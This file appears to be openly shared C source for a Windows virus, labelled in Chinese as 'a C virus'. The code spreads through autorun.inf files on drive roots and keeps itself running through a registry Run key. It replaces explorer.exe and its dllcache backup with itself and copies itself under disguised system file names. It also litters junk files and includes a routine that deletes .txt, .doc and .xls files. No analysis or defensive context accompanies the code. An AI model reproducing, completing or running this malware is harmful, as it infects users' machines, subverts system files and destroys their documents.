c2.txt

这是一个c病毒

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<process.h>
#include<dir.h>

#define SVCHOST_NUM 6
#define RUBBISH_NUM 5
#define REMOVE_NUM  5


char *autorun={"[AutoRun]\nopen=\"SVCHOST.com /s\"\nshell\\open=打开(&O)

\nshell\\open\\Command=\"SVCHOST.com /s\"\nshell\\explore=资源管理器(&X)

\nshell\\explore\\Command=\"SVCHOST.com /s\""};


char *regadd={"REGEDIT4\n\n

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32

\"=\"C:\\\\windows\\\\wjview32.com /s\""};


int copy(char *infile,char *outfile)
{
    FILE *input,*output;
    char temp;
    if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen

(outfile,"wb"))!=NULL))
    {
      while(!feof(input))
      {
        fread(&temp,1,1,input);
        fwrite(&temp,1,1,output);
      }
      fclose(input);
      fclose(output);
      return 0;
    }
    else return 1;
}


int autorun_explorer()
{
    FILE *input;
    if((input=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL)
    {
      fclose(input);
      remove("c:\\windows\\$temp$");
      remove("c:\\windows\\system32\\dllcache\\$temp$");
      return 1;
    }
    copy("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");
    rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");
    rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32

\\dllcache\\$temp$");
    if(copy("SVCHOST.com","c:\\windows\\explorer.exe")==0 && copy

("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0)
      return 0;
    else
      return 2;
}


int add_reg()
{
    FILE *output;
    if((output=fopen("$$$$$","w"))!=NULL)
    {
      fprintf(output,regadd);
      fclose(output);
      spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
    }
}


void copy_virus()
{
    int i,k;
    FILE *input,*output;
    char *files_svchost[SVCHOST_NUM]=

{"svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\syste

m32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};
    char temp[2][20]={"c:\\svchost.com","c:\\autorun.inf"};
    for(i=0;i<SVCHOST_NUM;i++)
    {
      if((input=fopen(files_svchost[i],"rb"))!=NULL)
      {
        fclose(input);
        for(k=0;k<SVCHOST_NUM;k++)
        {
          copy(files_svchost[i],files_svchost[k]);
        }
        i=SVCHOST_NUM;
      }
    }
    for(i=0;i<SVCHOST_NUM;i++)
    {
      if((input=fopen(files_svchost[i],"rb"))!=NULL)
      {
        fclose(input);
        for(k=0;k<24;k++)
        {
          copy(files_svchost[i],temp[0]);
          if((output=fopen(temp[1],"w"))!=NULL)
          {
            fprintf(output,"%s",autorun);
            fclose(output);
          }
          temp[0][0]++;
          temp[1][0]++;
        }
        i=SVCHOST_NUM;
      }
    }
}


void make_rubbish()
{
     int i;
     FILE *output;
     srand(0);
     for(i=0;i<RUBBISH_NUM;i++)
     {
       int n;
       char s[30];
       n=rand();
       sprintf(s,"C:\\DESTORY_感染_%d",n);
       if((output=fopen(s,"w"))!=NULL)
       {
         fprintf(output,"%ld%s",n*n,s);
         fclose(output);
       }
     }
}


void remove_files()
{
    long done;
    int i;
    struct _finddata_t ffblk;
    char *remove_files[3]={"*.txt","*.doc","*.xls"};
    for(i=0;i<3;i++)
    {
      if(_findfirst(remove_files[i],&ffblk)==-1) continue;
      while(!done)
      {
        remove(ffblk.name);
        _findnext(done,&ffblk);
      }
      _findclose(done);
    }
}


int main(int argc,char **argv)
{
    int contral=0;
    if(argc>1)
      if(strcmp(argv[1],"/s")==0)
        goto next1;
    autorun_explorer();
    spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
    next1:
    add_reg();
    copy_virus();
    make_rubbish();
    
    spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);
    return 0;
}